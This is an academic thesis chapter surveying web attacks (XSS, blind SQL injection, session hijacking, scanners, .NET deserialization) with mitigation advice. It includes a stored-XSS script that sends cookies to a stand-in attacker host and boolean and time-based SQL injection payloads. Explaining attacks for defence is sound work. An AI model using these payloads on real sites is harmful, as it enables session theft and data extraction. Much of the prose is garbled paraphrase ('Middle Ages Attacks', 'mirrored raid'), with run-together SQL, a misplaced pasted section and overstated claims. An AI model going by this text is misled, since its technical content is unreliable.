Web Attacks Analysis and Mitigation Techniques

Chapter · February 2022

CITATIONS
2

READS
2,323

1 author:

Md Haris Uddin Sharif
University of the Cumberlands
44 PUBLICATIONS **144** CITATIONS

SEE PROFILE

IJERT
ISSN : 2278 - 0181

THESIS

Thesis ID : IJERTTH0024

Web Attacks Analysis and Mitigation Techniques

Md. Haris Uddin Sharif

University of The Cumberlands

Published By

International Journal of Engineering Research and Technology (www.ijert.org)

International Journal of Engineering Research & Technology (IJERT)
ISSN: 2278-0181

Web Attacks Analysis and Mitigation Techniques

Author: Md Haris Uddin Sharif
University of the Cumberlands, KY, USA

Abstract

Web Applications are sensitive to information security threats due to the adequate information it obtains from the users. Retaining data through web applications is the most effective thing in this day and age. Wrongly received data can be utilized to exploit a business which can be devastating, both in financial and reputational deterioration. The use of online transactions through web-based applications has resulted in numerous vulnerabilities that have been systemically analyzed by the Open Web Application Security Project (OWASP). So, it is required to raise the attention of newly developed web applications and developers. This work analysis the appropriate content about sixteen of the top web application's vulnerabilities, i.e., Persistent cross-site scripting, Blind SQL injection, Session hijacking, Vulnerability scanning tools, DOT.NET deserialization, Bypassing REGEX restrictions, Magic hashes, Bypassing XSS Length Limitations, DOM-based cross-site scripting, Server-side template injection, Remote Code Execution, File upload limits and file extension filters, XML External Entity (XXE) Injection, Data Exfiltration, PHP programmer juggles with sloppy comparisons and PHP/CF type juggling with loose comparisons. The review has been performed for significant vulnerabilities. Also, analysis the web attacks mechanism as vulnerabilities. This research shows the impact of vulnerabilities as findings for Web applications. One of the primary objectives of this analysis is to discuss mitigation techniques- provide specific solutions to identify and defend multiple vulnerabilities. Therefore, application developers can increase awareness and investigate fundamental ways to improve the security of existing web applications.

TABLE OF CONTENTS

1. Persistent Cross-Site Scripting

1.1 Introduction

Most XSS attacks rely on the victim's trust in a legitimate but vulnerable web application or website. Persistent Cross-site Scripting (Stored XSS) is one of the three major types of Cross-Site Scripting attacks. The other two types are non-persistent XSS (Reflected XSS and DOM-based XSS.

One of the significant common security flaws is Cross-Site Scripting (XSS). Problems for web applications, haunting web application developers for years. Various approaches to defending against attacks (XSS vulnerability) are available today, but no single system solves all the loopholes. Multiple methods to defend against attacks (XSS vulnerability) are available today, but no single system solves all the loopholes.

A persistent XSS attack occurs when a website or online application retains user input and makes it available to other users. Malicious code is injected into vulnerable websites and stored on the webserver for later use. Persistent XSS attacks are possible if an application does not validate user input before saving it. Users who visit websites are supplied the payload automatically, subsequently executed in that context.

In the most recent OWASP Top 10, XSS is the second most common problem. However, the vulnerabilities that enable persistent XSS attacks are less widespread and more difficult to uncover; those are less common than non-persistent XSS attacks. In addition, the payload is stored to infect most of the visitors of the vulnerable web page.

1.2 Literature Review

Shanmugasundaram, Ravivarman, and Thangavellu [1] stated that developers lack the knowledge to implement existing XSS solutions in their web applications. Aliga et al.'s [2] analysis displayed that most of the XSS prevention explanations are client-side. We cannot detect new XSS attacks, and these explanations lack self-learning abilities. They studied 15 XSS prevention techniques, and out of 15, only two methods have self-learning capabilities. Hydara et al. [3] studied 115 papers from 2004 to 2012 on XSS attacks. Based on their study, non-persistence attacks are prevalent among the remaining XSS attacks. There need to be better explanations to clear XSS vulnerabilities from the original code itself. S. Gupta and B. B. Gupta [4] studied the defense mechanisms of XSS attacks, and they stated that safe input handling is one of the essential techniques to mitigate XSS attacks.

A good XSS defensive technique needs to differentiate malicious and legitimate JavaScript codes automatically. Ben Stock et al. [5] studied 1273 XSS vulnerabilities and said that a shortage of security understanding in the developer is one of the root reasons for these attacks. Other causes are outdated or vulnerable third-party libraries and lack of knowledge of browser-provided APIs. Love Lynn Ray [6] says that organizations have XSS attacks as the main threat. The solution needs to work on the server and client sides of the web application to stop XSS attacks. Defense solutions for XSS attacks need to prevent persistent and non-persistent attacks irrespective of programming language. Jin et al. [7] identified a new variety of injection attacks in HTML-based mobile applications. Based on their analysis, it is achievable to inject malicious code into 2D barcodes, media files, Meta tags, RFID tags, Wi-Fi entry points terms, etc. Malicious code performs when users access these data, like playing media files with

malicious code in metadata can generate an injection attack. We found that PhoneGap plugins are not protected; out of 186 plugins, 11 plugins are weak. According to their analysis, Javed and Schwenk [8] analyzed mobile web applications; 81% of applications are XSS vulnerable. We designed an XSS filter established on standard presentation, screening XSS attacks in mobile websites. Mohammadi, Chu, and Lipford [9] developed a unit testing method to find XSS vulnerable in Web applications with improper encodings. They generated XSS attack vectors using a grammar model, and they stated that their proposed technique is better than black-box fuzzing methods. Mariani and Howe [10] build Random Forest, k-NN, and SVM machine learning models to detect XSS attacks. Their tests reached the highest accuracy, up to 99.75%, with their labeled dataset. Their classification work used language syntax (symbols) and behavioral features for training models. Rathore et al. [11] proposed a machine learning-based method to detect XSS attacks in social networking services (SNSs). They extracted URL features, web page features, and SNSs features from web pages and used this data to train models. Some parts are domains in a URL, URL length, external link counts, malicious JavaScript codes in SNSs webpage, etc. We reached 97.2% accuracy in our tests. Ayeni et al. [12] designed a strategy established on fuzzy logic to find out XSS attacks. There are reached 95% precision and 0.99% false-positive rate with their tool called CrawlerXSS. Jia-dong Liu and Yu-Yi Ou [13] studied security software and analyzed web filtering rules. This research suggested a plan to identify XSS attacks based on vectors.

Stigler, Karzhaubekova, and Karg [14] proposed automatically detecting XSS vulnerabilities in Web templates. They parsed every template into internal representation (IR) and executed an XSS examination on these IR, and developed unit tests based on parts of IR. Their tool is adequate in testing new frameworks or template machines. Areej et al. [15] studied fixed investigation mechanisms based on their execution. They used SAT tools to notice XSS attacks and SQL injection attacks in WordPress plugins. They combined different SAT tools as a set of pairs and conducted tests.

1.3 Typical procedure for locating a vulnerable target:

- First, an attacker discovers a potentially vulnerable website.
- The attacker put it to the test by storing a script on the server and exploiting the flaw.
- The attacker goes to the page where the malicious malware will be sent.
- The attacker examines the script to see if it runs.
- Most of the time, this is a manual procedure, but automated technologies exist that can inject scripts automatically and remotely.
- An attacker must uncover a vulnerability that allows for persistent script embedding and find a website with enough traffic to make it worthwhile.

1.4 Persistent cross-site scripting attacking

Cross-site scripting attacks are generally classified as one of the following types:

XSS REFLECTED

This type of attack involves a vulnerable website that accepts data from a malicious script sent by the target's web browser to attack it. This attack is non-persistent because the client sends the malicious script and is not stored on the susceptible server.

An attacker could, for example, create a URL that includes a little malicious script as a query parameter and sends it to a website with an XSS-vulnerable search page:

PERSISTENT XSS

As its name suggests, this type of attack persists on the vulnerable server itself. However, unlike a mirrored raid where the target sends a malicious script, users of a vulnerable website or web application can attack during their regular interactions with the vulnerable site or app.

An attacker might launch a persistent XSS attack by posting a remark on a forum hosted on a vulnerable website. Instead of a standard forum post, the attacker's malicious script is embedded in the content of this post. When visitors visit this forum post, the malicious script is loaded and executed by their web browser.

As we can see, a critical differentiator between mirrored and persistent XSS attacks is that these attacks treat all users of a site as targets for attack.

DOM-BASED XSS

This type of attack occurs when there is a vulnerability in the client-side scripts that the website or application always visitors. This attack differs from persistent XSS attacks in that the website does not deliver the malicious script directly to the browser. In a DOM-based XSS attack, the website has weak hands on the client-side that offer the malicious script to the victim's browser.

DOM-based XSS attacks demonstrate that XSS flaws aren't just found in server-side software.

A DOM-based XSS attack is likely if the web application documents data to the Document Object Model without appropriate sanitization. The attacker can use this information to inject XSS content into the web page, such as malicious JavaScript code. Potential consequences of DOM attacks are classified as moderate.

Stored XSS Example

Now we'll examine how a Stored XSS attack would carry out in the real world. We'll use an e-commerce site as an example – let's consider Widgets. A typical element on product pages is a place for buyers to leave a thought. The established WordPress plugin on the site permits users to rate products by rating one to five and escape a text review. Unfortunately, the installed plugin includes a vulnerability that lets third groups embed HTML tags within checked text.

An assailant takes advantage by introducing the following study:

```
In this development and it's a bargain too!
<script>
        new Image().src = "http:// HackerUrl.com?c=" + document.cookie;
</script>”
```

This indicates that the embedded tags presented as part of the study are currently parts of the product page, with no issue which unlocks it. So, when users navigate to the page, *"HackerUrl.com"* can be performed in the browser. That's terrible news for the user because the session cookie just got stolen. The hacker is now impersonating users on the website and accessing the credit card details. Users have no idea, though, and might not figure out what happened until after getting the following credit card statement.

1.5 Research Findings and Methodology

Cross-site scripting is the most typical type of web application vulnerability, occurring in every OWASP Top 10 list from the first edition. It is traditionally visited as less risky than SQL injection or demand performance at the same time. But, though the malicious JavaScript code is conducted on the client-side without instantly affecting the server, this doesn't create XSS vulnerabilities any short damaging.

The effect of a used XSS vulnerability on a web application can differ significantly depending on the exact attack. By conducting script code in the user’s present context, attackers can steal session cookies and execute session hijacking to impersonate the target or carry over the client account. In conjunction with social engineering, this can expose exposed data, CSRF attacks (if the attacker can access anti-CSRF tickets), or even malware induction.

This section outlines our methodology to detect Persistent Client-Side XSS in Web applications. Technically, we search for exploitable flows from cookies or Web Storage to a dangerous sink.

To that end, this section presents our flow and storage collection, followed by an explanation of our enhanced exploit generation scheme. We outline how we can determine whether a site is vulnerable, assuming an attacker controls arbitrary storage items with this generation in place. We complete the section with a conversation on how to decide whether a theoretically vulnerable site can be used by a network or Web adversary.

1.6 Prevention from Persistent XSS attacks

Never allow raw user input, properly filter and encode data. Web Application Firewalls employ signature-based filtering to stop malicious requests from being fulfilled. Utilize vulnerability scanners to find XSS vulnerabilities on our site. Find out more about how to prevent persistent XSS here.

Strictly control the type and sanitize our data.

To avoid XSS, we must sanitize user input before storing it in the database.
Compose our HTML using an auto-escaping template language that, by default, escapes untrusted input for us.

Microsoft Internet Explorer uses a filter that divides the sent data into two categories: trusted and untrusted to verify immediate code execution.

2. Blind SQL Injection

2.1 Introduction

Blind SQL injection is a form of attack in which the attacker asks the database true or false questions and then derives the answer depending on the application's response. This technique is commonly utilized when a web application is configured to display generic error messages, but the vulnerable code has not been mitigated.

There are two categories of blind SQL injection:

1. Content-based Blind SQL Injection
2. Time – based Blind SQL injection.

2.2 Literature Review:

As better and better web applications are deployed on the cloud, SQL injection attacks have become a significant threat to web-based services. According to a report [16], over 80% of web applications on the internet potentially have at least one serious vulnerability. To notice and control SQLIAs, different web application program studies and SQL injection detection techniques have been analyzed. By studying the syntaxes and behaviors of web-based software, the vulnerabilities of web-based applications can be exploited to facilitate the detection of SQL injection attacks. For example, Xie et al. [17] used static taint analysis strategies to find SQL injection vulnerabilities in PHP scripts.

In [18], Livshits et al. introduced a static analysis approach based on scalable and precise points-to analysis. Their system can find vulnerabilities in statically analyzed code, matching user-provided vulnerability patterns. In [19], Bandhakavi et al. proposed a CANDID program analysis-based method. Based on the structure comparison with extracted programmer-intended queries, their approach can check the vulnerabilities of user input queries. Shar et al. [20] presented a vulnerability prediction approach using supervised machine learning to enable vulnerability mining for web applications. In [21], Wang et al. introduced a novel approach to distinguish malicious behaviors by learning SQL statements using program tracing techniques. In [22], Kieyzun et al. presented a mutation-based attack vector generation method to track taints through programs' execution to identify SQL injection attacks. In [23], Kar et al. showed a novel way to detect injection attacks by modeling SQL queries as a graph of tokens and using the centrality measure of nodes to train a support vector machine. Their approach can protect multiple web applications in a shared hosting scenario. In [24], Thomé et al. proposed the concept of security slicing for the auditing of common injection vulnerabilities.

Although the above approaches can effectively identify vulnerabilities that SQL injection attackers may exploit, we can use a few of them in cloud computing since the source code of most web applications is not available for cloud service providers.

2.3 Blind SQL Injection Attack Analysis

Content-based

An attacker can do a couple of easy tests to see if a page is vulnerable to SQL Injection attacks by using an introductory page that displays an article with a specific ID as the argument.

This is a sample of a web page of an online store, which shows items that are for deal. The following link will show item 10 recovered from a database.

http://www.mart.local/item.php?id=10

The SQL account used for this submission is:

SELECT FirstColumn, SecondColumn FROM table_name WHERE id = 10
The attacker may manipulate the request to:
http://www.mart.local/item.php?id=10 and 1=2

The SQL statement changes to:

SELECT SecondColumn FROM table_name WHERE ID = 10 and 1=2SELECT name, description, price FROM Store_table WHERE ID = 10 and 1=2

This will generate the question to produce FALSE, and no objects are shown in the list. The attacker then moves to change the request to:

http://www.mart.local/item.php?id=10 and 1=1

And the SQL statement modifications to:

SELECT FirstColumn, SecondColumn FROM table_name WHERE ID = 10 and 1=1SELECT name, description, price FROM Store_table WHERE ID = 10 and 1=1
This returns TRUE, and the details of an item with ID 10 are shown. This is a clear indication that the page is vulnerable.

Time-based: This sort of blind SQL injection relies on the database waiting for a set period before returning the results, suggesting that it successfully executed the SQL query. An attacker uses this method to enumerate each letter of the requested data using the following logic:

If the 1s't letter of the 1s't database's name is an 'X,' delay for 10 seconds.
If the 1s't letter of the 1s't database's name is a 'Y,' delay for 10 seconds. Etc.

Based on the earlier example, the attacker would first benchmark the webserver reaction time for a common question. It would then issue the following logic:

http://www.shop.local/item.php?id=10 and if(1=1, sleep(10), false)
The web application is vulnerable if the reaction is delayed by 10 seconds.

2.4 Research Findings

Injections are amongst the elder and most harmful attacks desired at web applications. We can guide data theft, data loss, loss of data virtue, denial of assistance, and entire system compromise. The primary reason for injection vulnerabilities is usually insufficient user input verification.

2.5. Prevention from Blind SQL injection attacks

Sanitize user input:

Validate to capture potentially malicious inputs provided by the user.

Code the output to prevent potentially malicious user-supplied data from triggering a browser's automatic loading and execution behavior.
Limit the use of user-supplied data

Only use them where necessary - Prevent Persistent XSS attacks

Never allow raw user input, properly filter and encode data. Web Application Firewalls employ signature-based filtering to stop malicious requests from being fulfilled. Use vulnerability scanners to find XSS vulnerabilities on our site. Find out more about how to prevent persistent XSS here.

Strictly control the type and sanitize our data.
To avoid XSS, we must sanitize user input before storing it in the database.

Compose HTML using an auto-escaping template language that, by default, escapes untrusted input for us.

Microsoft Internet Explorer uses a filter that divides the sent data into two categories: trusted and untrusted to verify immediate code execution.

The Effects of Blind SQL Injection Based On Time

The program's confidentiality, integrity, authentication, and authorization features will be impacted by time–based Blind SQL injection. In addition, attackers can infiltrate a susceptible application and steal sensitive data from databases, such as user credentials, payment information, or credit card information.

Steps To Avoid Blind SQL Injection attacks.

- Use secure coding techniques.
- Whenever possible, use parameterized queries.
- Using procedures that have been saved
- Enforcing the concept of least privilege to limit data leakage

3. Session Hijacking

3.1 Introduction

Session hijacking is a serious problem that can jeopardize a user's online security. Its goal is to obtain unauthorized access to data or services on a computer system. This usually happens when an attacker takes or hijacks a user's session cookies while browsing the internet.

Session cookies could be used to impersonate a user and log in on behalf of those who are hijacked. HTTP cookies, for example, can be stolen and are used to keep the session going.

Attacker commonly uses what are known as Man-in-the-Middle attacks to do this. The attacker listens to our conversations and records the data we send and receive. The legitimate session ID is intercepted in this way.

These attacks are usually widespread when we access insecure networks. For example, we connect to public Wi-Fi in a shopping mall. That network may be maliciously configured, and the information we share on the internet is not encrypted but could be intercepted by intruders.

Hackers can target our data and personal information when we surf the internet. Data can be used to give us tailored advertisements, add us to spam lists, or even sell our data to third parties. We can face various attacks; here's how we can safeguard our data. We can face multiple attacks; here's how we can protect our data. This can happen to users of any operating system and application or tool. Continually remind ourselves of the need to protect our gadgets and prevent data leaks. As we discussed earlier in this post, Session hijacking is an example.

3.2 Literature Review

Session hijacking attacks by exploiting the vulnerabilities of cookies have been a security issue since their introduction in the mid-'90s. A survey conducted by Vissiago [25] highlighted those cookies are vulnerable to session hijacking attacks and cannot maintain web authentication. Consequently, many researchers started working over the security and came up with recommendations and solutions. In 2011, Nikiforakis et Al. [26] proposed a protection technique against session hijacking known as Session Shield. It does not allow scripting languages running in the browser to access session ID. Thus, it protects against XSS.

Dacosta et Al. [27] suggested “One-Time Cookies” (OTC) as a solution to session hijacking. The paper proposed a modified blockchain construction approach to produce single-user authentication tokens. Each token is associated with a specific request and cannot be used again. It prevents malicious use of intercepted cookies to redirect sessions. Andrew et Al. [28] came up with a new concept of related domains vulnerable to session hijacking attacks. Two domains sharing an adequate amount of long suffix are known as Related Domains. The paper suggests a solution to inhibit invasion by including Origin Cookies [28] to the prevailing cookie convention. Origin cookies separate the cookies that belong to the exact origin. Accordingly, applications cannot access or change connected domain cookies.

Elie et Al. [29] suggested one-time passwords prevented session hijacking and named this system Session Juggler. This system eliminates the user's need to enter long-term credentials on the terminal to log in. In 2012, Asif et Al. [30] analyzed the session hijacking vulnerability in an ID management system known as OpenID. A double authentication method is also proposed to reduce session hijacking danger in the Open ID session management system. It verifies the user by checking the credentials stored on the ID server and PIN code. Even if the attacker compromises the session between the ID server and user, it cannot grab the PIN code due to the double authentication system. Burgers et Al. [31] developed a new session stealing prevention mechanism built on securely negotiated communication channels. The tool is based on connecting a durably negotiated channel with the application. The idea is enforced by establishing a server-side reverse proxy. It runs independently from the client and server software.

Stango et Al. [32] suggested a threat analysis approach for estimating the security of a system. It includes the prioritization of threats and vulnerabilities. Desmet et Al. [33] explained various dangers and openness of the web application. It also explains preventive measures for web applications against attacks. In Session Hijacking, the intruder mimics the victim's identity and avails the same access to resources as the victim [34]. The consequences can be disastrous as it may lead to losing crucial information. Thus, session hijacking has always focused on researchers who develop strategies to prevent and mitigate session hijacking.

3.3 Avoid being a victim of session hijacking

Luckily, we can take different security measures to avoid being victims of this threat and other similar ones. The aim is to protect our data and prevent others from logging in on our behalf.

Security tools- Without a doubt, we must never underestimate the value of security software. A good antivirus will keep viruses out of our system that somehow harm us.

Keep equipment up-to-date- Another aspect that cannot overlook is keeping the equipment up to date. Although vulnerabilities occasionally exist, hackers might use them to carry out their assaults. This reason makes it imperative that we always have the latest versions available. This way, we will avoid our equipment being vulnerable and harming our protection.

Connect to secure networks- Exactly session hijacking attacks can occur when we connect to insecure networks. Wi-Fi in a hotel or a shopping headquarters, for sample, can put us in trouble. This means we must avoid connecting to wireless networks that we cannot trust 100%. In addition, we should at least avoid logging into sensitive sites.

Use VPN if necessary- If we need to log in and have no choice but to connect to public networks, we can use VPN services. In this way, the connection is encrypted and prevents our data from being exposed.

Common sense- Finally, the most important thing is common sense. It is essential that we do not make mistakes when browsing the internet and do not fall into the trap of hackers.

3.4 Attacks mechanism on session hijacking

This method takes a valid session ID that hasn't been authenticated yet. The attacker then tries to dupe the user into using this ID to establish. After being certified, the attacker has full access to the victim's computer. Session fixation investigates a flaw in the web application handling session IDs. Session tokens concealed in a URL argument, session tokens hidden in a form field, and session tokens hidden in a session cookie are three frequent forms.

Most session hijacking methods focus on cookies because those often carry session information. In general, there are three main methods of obtaining a valid session ID:

Session prediction- Session prediction attacks attempt to guess a valid session ID (of any user). This is how those IDs are generated. A session ID must be one-of-a-kind and difficult to predict. This is why long; randomly generated numbers are desirable. Furthermore, it is recommended to use secure and reliable session management libraries to create such IDs. However, some companies decide to develop their IDs themselves, and they don't do it very well. This is how they become prone to session hijacking.

Side Session Hijack- This term describes Middle Ages Attacks (MITM). In this case, the attacker spies on the communication between the server and the client and intercepts valid session IDs. Next, the attacker installs a tracker on the same network as the client if the traffic is not encrypted. Following that, it keeps track of network traffic, user connections, and packet traffic.

Session fixation-

It occurs when the attacker generates a valid session ID that has not yet been used. It then provides it to the user, who authenticates the session. For sample, an attacker can seize a user's session by tricking them into clicking on a malicious link. Of course, many elements, such as phishing or cross-site scripting (XSS) attacks, influence the attack's exact stages and difficulty. However, it can prevent this form of session hijacking in some circumstances.

Ways to Stop Session Hijacking

While there are multiple distinct ways for hackers to take out session hijacking attacks, the excellent information is that there are relatively easy safety criteria and the best techniques we can employ to save ourselves. Various ones protect against different session hijacking methods, so we'll want to enact as many of them as we can. Here are some of the most typical preventative steps that we'll want to begin with:

1. **Use HTTPS On Our Whole Site -** As we've noticed, using HTTPS only on login pages won't keep completely keep us safe from session hijacking. Use SSL/TLS on our site to encrypt all traffic passed between parties. This contains the session key. Central banks and e-commerce systems widely use HTTPS everywhere because it completely prevents sniffing attacks.

2. **Use the Secure Cookie Flag-** The application server can set the secure flag when sending a new cookie as part of an HTTP response. This tells the user's browser only to send the cookie via HTTPS – should never send it via HTTP. This prevents attackers from viewing cookies when they're being transmitted in cleartext.

3. **Use Long and Random Session IDs-** By utilizing an extended random number or series as the session ID, we're seriously reducing the risk that it can be assumed via trial and error or a brute strength attack.

4. **Restore the Session ID After Login-** This prevents session focus because it will alter the session ID after the user logs in. If the attacker deceives the user into connecting a link with a fixated session ID, they won't do anything significant. Instantly after login, their fixated session ID will be useless.

5. **Perform Secondary Checks-** Additional reviews can help ensure the user's identity. For example, a waitperson can prevent the user's IP address for a particular request checks the IP address used for the last request. However, it's worth noting that this exact solution could make issues for those whose IP address differences, and it doesn't stop attacks from someone transferring the same IP address.

6. **Change the Cookie Value-** Some services can adjust the worth of the cookie after every submission. Technically, since we cannot instantly adjust a cookie, we'll complete a new cookie with new values and send it to the browser to overwrite the old version. This dramatically decreases the window in which an attack can happen, making it easier to specify if an attack has carried place. Be acquainted, however, that two near-timed demands from the same customer can lead to a token check error. In that case, we can rather change the cookie expiration time to the fastest time that won't generate errors.

7. **Log Out When We're Done-** Play it secure and log out of websites whenever we're accomplished using them.

8. **Use Anti-Malware-** Always utilize anti-malware software on server-side and client-side devices. This will control cookie-stealing software from obtaining on our method.

9. **Don't Receive Session IDs from GET/POST Variables-** Session IDs in URLs (question lines or GET variables) or POST variables make session hijacking comfortable. As we've noticed, it's common for hackers to create links or forms that set these variables.

10. **Exclusively Receive Server-Generated Session IDs-** This is an exact one. Just take session IDs from an authorized source, at this point, the server.

11. **Inactive Time-Out Sessions-** This decreases the window of time for an attack and saves an attacker from accessing a machine that has been quite isolated.

12. **Destroy Doubtful Referrers-** When a browser views a page, then it positions the Referrer header. This contains the link we followed to bring to the page. One way to combat class hijacking is to review the referral heading and delete the session if the user is reaching from an external site.

3.5 Research Findings

Once an attacker has initiated a session, they can access a network's resources. Ultimately, the purpose of session hijacking is to exploit vulnerabilities in network sessions to view or steal confidential data and use limited network resources.

3.6 Prevention from session hijacking

Session sniffing, predictable session token ID, the user in the browser, cross-site scripting, session side jacking, and session fixation is the most common methods for hijacking sessions.

- Sniffing during the session. This is one of the most basic application-layer session hijacking strategies. The attacker captures network information containing the session ID between a website and a client using a sniffer, such as Wireshark or OWASP Zed proxy. Once the attacker has this value or can use it to gain unauthorized access to the system.

- Session token ID that can predict to generate session IDs, many web servers employ a custom algorithm or a known pattern. The weaker a session token is and the easier it is to forecast, the higher its predictability. Thus, an attacker may guess a legitimate session ID if the attacker can collect several IDs and examine the pattern.

- An attack by a man-in-the-browser. This is parallel to a man-in-the-middle attack, except the attacker must first mislead or deceive the victim's computer into downloading a Trojan. Once the victim has been duped into downloading malware, the software waits for the victim to visit a specific website. The man-in-the-browser malware can modify transaction data silently and start new transactions without the user's knowledge. The web service has a tough time detecting that the queries are false because those are initiated from the victim's PC.

- XSS (cross-site scripting) is a type of cross-site scripting. To inject client-side papers into web pages, cybercriminals exploit server or application vulnerabilities. When a hacked page is loaded, the browser executes arbitrary code. For example, if HTTP Only isn't enabled in session cookies, fraudsters can use injected scripts to access the session key, giving them the information they need to hijack the session.

- They were jacking on the session side. After a user has authenticated on the server, cybercriminals can use packet sniffing to monitor the victim's network traffic and

intercept session cookies. Additionally, cybercriminals can hijack a session and operate as the user within the targeted online application if TLS encryption is only utilized for login pages and not for the entire session.

- Session fixation attacks. This method can be a valid session ID that has yet to be certified. Then, the attacker attempts to trick the user into authorizing this ID. Once approved, the attacker now has entrance to the victim's computer. Session fixation analyzes a limitation in how the web application manages a session ID. There are three typical variations: session tokens are hidden in an URL argument, session tokens are disguised in a form field, and session tokens are concealed in a session cookie.

The session hijack invasion is positively stealthy. With many practical communication sessions, session hijack attacks are usually waged against busy networks. The increased network utilization not only delivers the attacker with an enormous number of sessions to use, but it can also deliver the attacker with a shroud of security due to a large number of dynamic sessions on the server.

4. Vulnerability Scanners Tools

4.1 Introduction

Vulnerability scanners are valuable tools for finding and reporting known vulnerabilities in an organization's IT infrastructure. Every organization may benefit from using a vulnerability scanner, an essential but straightforward security strategy. These scans can help an organization understand what security dangers and may be up against by revealing potential security flaws in their surroundings.

4.2 Literature Review

Penetration testing tools are used during application testing. Most of them are configured to operate in the user's environment by specifying the web browser as proxy servers. General approaches are tested automatically. Some famous penetration testing instruments are [92], [93] and [94]. WAFs save web servers. Even though they usually come with hardware support, WAFs are also purely software-based and work as web server plug-ins. [95] and [96] are characteristic examples. WAFs detect and prevent attacks in real-time established on rulesets, and they are usually compared to intrusion detection methods since they document malicious actions. Apart from these tools, APIs for programming languages also exist that increase the security of web applications [97]. Furthermore, some projects advise developers on designing and developing their applications with security in mind. Many of these projects can be found on OWASP's projects list. Most of the web vulnerabilities noted in the earlier section can be smoothly noticed in the HTTP messages. On the opposite, some others, such as report leakage and inappropriate error handling, cannot be noticed automatically since there are no standards to decide when an error message delivers many details or evaluates a message context. Other attacks, like session administration, can be noticed utilizing more complex techniques such as brilliance or logic deduction. Still, these techniques decrease the web server's performance and boost the execution time. As noted, Web Defender notices web attacks established on pattern mention methods. Although Web vulnerability scanners [92], [93], [94] work, in the same way, they should be configured real-time attacks. More specifically, although software WAFs provide a lower-cost solution, PCI Information Supplement [98] suggests hardware or appliance WAFs, especially for high-volume sites or critical applications, need to help critical statements.

4.3 Best vulnerability scanning tools

1) Acunetix- Acunetix is a web vulnerability scanner that uses powerful crawling technologies to examine every form of the web page, even password-protected ones, for vulnerabilities.

2) Burp Suite- Burp Suite is an online vulnerability scanner updated regularly and interfaces with bug tracking systems like Jira to create simple tickets.

3) GFI Languard- GFI Languard is a web application vulnerability scanner and network web application vulnerability scanner that can automatically patch numerous operating systems, third-party software, and web browsers.

4) Frontline- Frontline VM is a Frontline product that includes a patented network vulnerability scanner. Digital Defense's Cloud is a cloud-native SaaS security product. This security platform provides web application scanning and additional vulnerability management and threat assessment tools.

5) Nessus- With over two million downloads worldwide, Nessus is one of the most popular vulnerability scanners. Nessus also offers thorough coverage, with over 59,000 CVEs scanned.

6) Nexpose- Nexpose by Rapid7 captures data in real-time to create an always-up-to-date picture of an organization's changing network. Because the CVSS risk score scale is 1-10, this vulnerability scanner created a 1-1000 risk score scale to provide additional nuance. It also considers vulnerability age and public exploits/malware kits.

7) Nmap is a free, open-source security scanner enterprises use for network discovery, inventory, service upgrade schedule management, and host or service uptime monitoring.

8) OpenVAS- Greenbone Networks maintains OpenVAS, an open-source vulnerability scanner. The scanner also features a community feed with over 50,000 vulnerability testing updated regularly.

9) Qualys Guard- The Qualys Cloud Platform serves as a hub for Qualys' cloud apps in IT, Security, and compliance. In addition, it comes with a powerful vulnerability scanner that aids in the centralization of vulnerability management.

10) Qualys Web Application Scanner- The Qualys Web Program Scanner is a cloud-based application that detects OWASP's top 10 threats and other web application vulnerabilities and finds both official and "unofficial" apps throughout an environment.

11) SAINT- SAINT's Security Suite is a comprehensive scanner that identifies all essential assets in an environment, creates asset tags, and tracks them so that the highest priority assets may be remedied faster.

12) Tenable- Tenable. Sc and Teneble.io supply network and web vulnerability reviews using Nessus technology. In addition, they use Predictive Prioritization, which combines vulnerability data, threat intelligence, and data science to create a detailed risk score.

13) Tripwire IP360- Tripwire IP360 is a scalable vulnerability scanner that can scan everything in an organization's environment, including previously hidden assets, using agentless and agent-based scans.

4.4 Importance of vulnerability scanning tools

Vulnerability scanning is vital because systems on the internet are constantly scanned and attacked. Executing a vulnerability scan will help show lost patches that need to be used.

However, the value of vulnerability scanning isn't just restricted to Internet-facing systems. It's also valuable to run vulnerability scans on our internal network.

Vulnerability scanning tools are designed to automatically search for new and existing threats that may attack our applications. This allows to recognize, classify and characterize the vulnerabilities between computers, network infrastructures, software, and hardware systems.

4.5 Research Findings

A vulnerability scanning tool will not find almost all vulnerabilities

Because a vulnerability scanning tool also skips vulnerabilities, we have no assurance that our methods are not vulnerable. This is one of the most significant restrictions of all scanning tools because there can still be vulnerabilities that hackers can exploit. There are two possible reasons for this:

- The scanner is unaware of the exposure, for example, because it has only just been discovered.
- The vulnerability is too challenging to be found by an automatic tool because the attack is not insignificant to automate.

Constant updates required- To confirm that the most current vulnerabilities are located, we must supply the frequently corrected tool.

False positives- Particularly if we have an extensive IT infrastructure with lots of servers and services, it can be challenging to understand the effect of the results/vulnerabilities of the scanning tool. As an outcome, we will often be met with false positives. If we are not specialized in protection, determining them is a challenge, creating it time-consuming to interpret the results. Moreover, if false positives are not screened out, the tool does not get more qualified and will continue to cause incorrect effects.

Implications of vulnerability unclear- It is sometimes difficult to assess what exposure means for business operations if a vulnerability is found. An automatic tool will not tell us this, and a strategic leader will typically be more focused on the technical elements of the exposure.

4.6 Prevention of vulnerability scanners tools

Even though the current version of Web Defender is quite powerful, as presented in the previous sections, there are still open issues that can enhance its performance and functionality. First, a connection to port 443 should be supported to validate notifications through SSL. Second, web attacks, which are not founded on design recognition, should be seen through methods based on more complicated actions. For example, session attacks should be noticed and stopped by corresponding that the session cookie reaches from a single IP address, its ID is not duplicated, or it passes as soon as possible.

Moreover, the web server's reply encoding should be funded, primarily when the response is not encoded. Another work should be done to temporarily store the most regularly used pages in the proxy server to decrease the payload to the webserver.

5. .Net Deserialization

5.1 Introduction

The procedure of serializing an entity into a data format that may be restored later is known as serialization. People serialize items to save them to storage or send them as communications.

Deserialization is the opposite of serialization, in which data is organized from a format and rebuilt into an object. JSON is the most widely used data serialization format today. It was XML before that.

On the other hand, many computer languages provide a built-in feature for serializing objects. In addition, these native formats usually have more functionality than JSON or XML, such as serialization process customization.

Unfortunately, when working with untrusted data, the features of these native deserialization processes might be repurposed for harmful purposes. As a result, deserializes are vulnerable to denial-of-service, access control, and remote code execution (RCE) threats.

.NET features the following serialization technologies:

Binary serialization retains type fidelity, which helps to protect an object's state between application invocations. For example, serializing a thing to the Clipboard allows to share it across many programs. Similarly, an object can be serialized to a stream, a disk, memory, across the network, and so on. Finally, serialization is a remoting technique that sends data *"by value"* from one computer.

Only public properties and fields are serialized in XML and SOAP, and type integrity is not preserved. This is a good option when we wish to offer or consume data without limiting the program that uses it. Furthermore, because XML is an open standard, it is a popular choice for transferring data across the internet. SOAP is also an open standard, making it an appealing alternative.

